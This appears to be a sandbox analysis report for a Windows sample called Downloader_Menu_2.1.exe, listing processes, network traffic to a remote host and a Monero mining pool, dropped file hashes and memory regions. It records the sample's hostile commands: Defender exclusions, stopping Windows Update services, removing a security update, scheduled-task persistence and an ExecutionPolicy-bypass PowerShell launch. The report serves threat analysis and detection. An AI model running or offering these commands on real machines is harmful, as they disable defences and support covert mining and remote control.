"C:\Windows\Downloader_Menu_2.1.exe"

C:\Users\Admin\AppData\Roaming\risk.exe

"C:\Users\Admin\AppData\Roaming\risk.exe"

C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe

"C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"

C:\Users\Admin\cvtres.exe

C:\Users\Admin\cvtres.exe

C:\Windows\SysWOW64\schtasks.exe

"schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmp541B.tmp" /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\explorer.exe

explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 gulf.moneroocean.stream udp
DE 149.102.143.109:443 gulf.moneroocean.stream tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 109.143.102.149.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp

Files

C:\Windows\Downloader_Menu_2.1.exe

MD5 9d3195f106a540570da0d038bc07cf68
SHA1 33c1dd7a4101d1622b4d9268da0b731e00ddca39
SHA256 240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce
SHA512 9c7b0da3e2a01a05f61e39648d31851c5b0d70d7f20d865792cf4c8cec39ad764b2f11833116dbcdea57f3ec1785345921defbd656eab4fc23095b63ba889f69

C:\Users\Admin\AppData\Roaming\risk.exe

MD5 2cb05f0d4360327b33956fedf516c6fe
SHA1 4562653b1361ce66ded9633e5883d00184c08796
SHA256 af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6
SHA512 f0967245d1693d74d146356c9540a9ae0b848a96a6e58eacc111a951a6b32e01f325f8848b2b0c66b38dbfcdcb37e052ccfc27cf9b3b6752f3cba876181f6fa6

memory/1012-22-0x0000000000A20000-0x0000000000A32000-memory.dmp

memory/3972-23-0x0000000002B20000-0x0000000002B56000-memory.dmp

memory/3972-24-0x0000000005370000-0x0000000005998000-memory.dmp

memory/3972-33-0x0000000005340000-0x0000000005362000-memory.dmp

memory/3184-39-0x0000000005710000-0x0000000005776000-memory.dmp

memory/3184-37-0x00000000056A0000-0x0000000005706000-memory.dmp

memory/3184-45-0x0000000005780000-0x0000000005AD4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ttd3m3h4.5py.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3972-59-0x0000000006110000-0x000000000612E000-memory.dmp

memory/3972-60-0x0000000006140000-0x000000000618C000-memory.dmp

memory/3972-64-0x00000000066E0000-0x0000000006712000-memory.dmp

memory/3972-65-0x0000000074C60000-0x0000000074CAC000-memory.dmp

memory/3972-75-0x00000000066C0000-0x00000000066DE000-memory.dmp

memory/3972-76-0x00000000072E0000-0x0000000007383000-memory.dmp

memory/3184-78-0x0000000006230000-0x000000000624A000-memory.dmp

memory/3184-77-0x00000000073B0000-0x0000000007A2A000-memory.dmp

memory/3972-79-0x00000000074A0000-0x00000000074AA000-memory.dmp

memory/3184-80-0x0000000007FE0000-0x0000000008584000-memory.dmp

memory/3184-81-0x0000000006F30000-0x0000000006FC2000-memory.dmp

memory/3972-82-0x00000000076C0000-0x0000000007756000-memory.dmp

memory/3972-83-0x0000000007630000-0x0000000007641000-memory.dmp

C:\Users\Admin\cvtres.exe

MD5 c9698a20e68954387eed40d36d17c087
SHA1 c50cf0ac1cbf51a89b6c1b816e5e63e7e7287179
SHA256 3a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f
SHA512 f8099e4e6bf6e1cd850faa398b3ef8862852342bef0ec8a7318495be6e82ddf903834b951faa6c5bbd0879414dcaccf3fec6ade4ef74054e08011d718ed1e813

memory/4536-87-0x0000019A2D2D0000-0x0000019A2D2D8000-memory.dmp

C:\Users\Admin\temp.bat

MD5 96b7afe999094957a1ce5b1c0ee0cb2f
SHA1 6b5d48b5f75246993de0263d27d2b9cdcc6ebf3f
SHA256 d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a
SHA512 ed7e02b26664b442f95fdf83af03d7773c017dadf3bec8c2d37cc2b30c49b6751a3104b85f00cfedbd145f422635e5b3ad49ea80adf7c0a92b06db474c6a238c

C:\Users\Admin\temp.ps1

MD5 5e817bbd9ef2f8821aa0283b20a51923
SHA1 102ca518d89653fb400636e660fa3fc276235c5c
SHA256 27f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7
SHA512 f21388e0655e6733abc70ff9fe2bbfdca00d81d2e7a09236d679293df34a966990f689f2d62119cdd877c7aeda35ab0c2b3c66108bc6b721e5dea34a93342d2e

memory/3972-90-0x0000000007670000-0x000000000767E000-memory.dmp

memory/3972-91-0x0000000007680000-0x0000000007694000-memory.dmp

memory/3972-92-0x0000000007760000-0x000000000777A000-memory.dmp

memory/3972-93-0x00000000076B0000-0x00000000076B8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp541B.tmp

MD5 c824a7486b8af655d347fd367022d0d2
SHA1 17bb7f077818e6d5ecb3be0fc681d341b82dd72b
SHA256 025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14
SHA512 a026982ac700263bf2dfd5415365dbe52b0e59095adfd00c937af28f5c84978faf65aeb2cd2c7c9dc5c7b38dc82dc2acc2d7b91e96026e73a881483168586bc1

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 18942297c4143f83b7b882afdbc13184
SHA1 05172cdd2661c3b71a10a1c5a32a2a371943f3e5
SHA256 c007572c9cac9b3b2a9b0bfda00dc5728af685db7ce2d4b74ccae6fea56498cc
SHA512 332800bba09c611b9d6954e5b4b7173d32aff313463d22ca26323b4bb49a6646a97de1ce0c7403a2d5f75bbced73755d6da5cc6c1f39da9eacbd5d98ac672b57

memory/3620-108-0x0000012D63820000-0x0000012D63842000-memory.dmp

C:\Users\Admin\temp_.ps1

MD5 5a0a8376c0e45cc25d4050920cee3dcc
SHA1 2de4ddf90f3165b245bd9f77c145c8f770c98b85
SHA256 86af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25
SHA512 f5afd39336d6b9f0590d68a716e8c3b403c13b98aae34d76f43e34698d2c6485e3dbce7a6439623362effec50ab0b2696b1ed25e377ba4dae75047ef419f51c0

C:\Users\Admin\temp_.bat

MD5 ff46d6b0970c55dba491b6dd06384f84
SHA1 c8be08575f2174a9a00bff33e3b1a7c1d9c4a025
SHA256 a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85
SHA512 b0d5b4eb5d9b58f35f218dffb43956716adb062626a75fcde11ba517e9d16d015f8a0d90ae72fbad47c87cbec86ef3e6a16347900f0c0be97e47f6d58bdac3a6

memory/3620-116-0x0000012D00040000-0x0000012D00570000-memory.dmp

memory/3620-117-0x0000012D7CAC0000-0x0000012D7CB36000-memory.dmp

memory/3620-118-0x0000012D635F0000-0x0000012D6360E000-memory.dmp

memory/3620-120-0x0000012D00C20000-0x0000012D00C26000-memory.dmp

memory/4708-121-0x0000000140000000-0x0000000140508000-memory.dmp

memory/4708-122-0x0000000140000000-0x0000000140508000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 50f1cbc27816c3383e75c81819c52eba
SHA1 af1e75ca420d5f7338802e42016762a215c89321
SHA256 10422c1baedfb15ace78d300754ac7803dff07278a84cedc609371661cdad6a2
SHA512 f59fd9d48dacf9114ed1dc42f31dc483e90f6020c6aee941da672719f2656b46ec8a454455176db9288a7fcdeb6d11178d548ea0ec421d2ca55aa4a22fc64054

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9a6fe311e662e223ef8c4ccc6b6d6583
SHA1 8d4e33bfedc9e5bc19823ea499352bd92515dd9d
SHA256 b7b2504e05c04b3da11cabb4f4b13e28e924dcfa506c874e936998f71a7181fd
SHA512 fe90f0f8b1c7a51e24158463a53b8ab71eb97a6d0510e43bb61964b077c5a801a1ed62eed3d3f4b3a1b780d7a336291b9402e9657ee58759c6a68622eacbaee7

memory/5076-141-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-146-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-147-0x0000000000ED0000-0x0000000000EF0000-memory.dmp

memory/5076-145-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-144-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-149-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-152-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-151-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-150-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-148-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-143-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-140-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-142-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-153-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-155-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-157-0x0000000140000000-0x0000000140848000-memory.dmp

memory/5076-156-0x0000000140000000-0x0000000140848000-memory.dmp